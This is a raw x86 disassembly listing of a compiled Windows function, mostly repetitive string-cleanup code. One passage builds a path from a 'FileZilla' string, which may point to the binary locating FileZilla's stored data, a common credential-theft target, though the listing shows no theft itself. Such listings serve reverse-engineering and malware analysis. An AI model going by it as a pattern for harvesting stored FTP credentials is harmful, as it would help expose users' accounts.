call fcn.100b4330
mov edi, dword [ebp - 0x2c4]
mov eax, dword [ebp - 0x2b0]
cmp eax, 0x10
jb 0x100a3b35
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100a3b2b
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push ecx
push edi
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1dc]
cmp edx, 0x10
jb 0x100a3b6f
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3b65
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp edx, 0x10
jb 0x100a3bc4
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3bba
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a3c19
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3c0f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x20c]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x228], 0xf
mov byte [ebp - 0x23c], 0
cmp edx, 0x10
jb 0x100a3c6e
mov ecx, dword [ebp - 0x220]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3c64
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x250]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp edx, 0x10
jb 0x100a3cc3
mov ecx, dword [ebp - 0x264]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3cb9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
mov byte [ebp - 0x264], 0
cmp edx, 0x10
jb 0x100a3d18
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3d0e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1bc]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp edx, 0x10
jb 0x100a3d6d
mov ecx, dword [ebp - 0x1d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3d63
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
push 0
push 0x100f1e88
lea ecx, [ebp - 0x140]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x170]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x188]
call fcn.100b2e90
push 0
push 0x100f1e88
lea ecx, [ebp - 0x158]
call fcn.100b2e90
mov edi, dword [ebp - 0x1d4]
inc edi
mov dword [ebp - 0x1d4], edi
jmp 0x100a3dca
mov edi, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x100a3e04
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3dfa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a4293
push edx
push ecx
call fcn.100becc4
add esp, 8
mov esi, dword [ebp - 0x224]
push esi
call fcn.100cb4e8
add esp, 4
test eax, eax
je 0x100a29a2
mov ebx, dword [ebp - 0x1d8]
push esi
call fcn.100c88eb
add esp, 4
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a40a7
cmp byte [eax], 0x30
jne 0x100a40a7
mov edx, edi
lea ecx, [ebp - 0x23c]
call fcn.10082df0
push 0xb
push str.FileZilla__
push ecx
mov ecx, eax
call fcn.100b7550
push 0x100fb4e4
lea ecx, [ebp - 0x208]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2580
push 0x100fb4e0
lea ecx, [ebp - 0x220]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x220], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x210], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b2580
push ebx
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x1f0]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b3430
add esp, 4
mov ecx, ebx
push eax
call fcn.100b2640
mov edx, dword [ebp - 0x1dc]
cmp edx, 0x10
jb 0x100a3f53
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3f49
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a429d
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
cmp edx, 0x10
jb 0x100a3fa8
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3f9e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a429d
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x20c]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a3ffd
mov ecx, dword [ebp - 0x220]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a3ff3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a429d
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x1f4]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp edx, 0x10
jb 0x100a4052
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4048
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a429d
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
cmp edx, 0x10
jb 0x100a40a7
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a409d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a429d
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x18c]
cmp edx, 0x10
jb 0x100a40e1
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a40d7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a42a7
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
cmp edx, 0x10
jb 0x100a4136
mov ecx, dword [ebp - 0x188]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a412c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a42a7
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp edx, 0x10
jb 0x100a418b
mov ecx, dword [ebp - 0x158]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4181
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a42a7
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x15c]
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov byte [ebp - 0x158], 0
cmp edx, 0x10
jb 0x100a41e0
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a41d6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a42a7
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
cmp edx, 0x10
jb 0x100a4235
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a422b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a42a7
push edx
push ecx
call fcn.100becc4
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x100a4280
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a4276
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a42a7
push edx
push ecx
call fcn.100becc4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be769
mov esp, ebp
pop ebp
ret
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100cb6d0
call fcn.100b3170
call fcn.100cb6d0
int3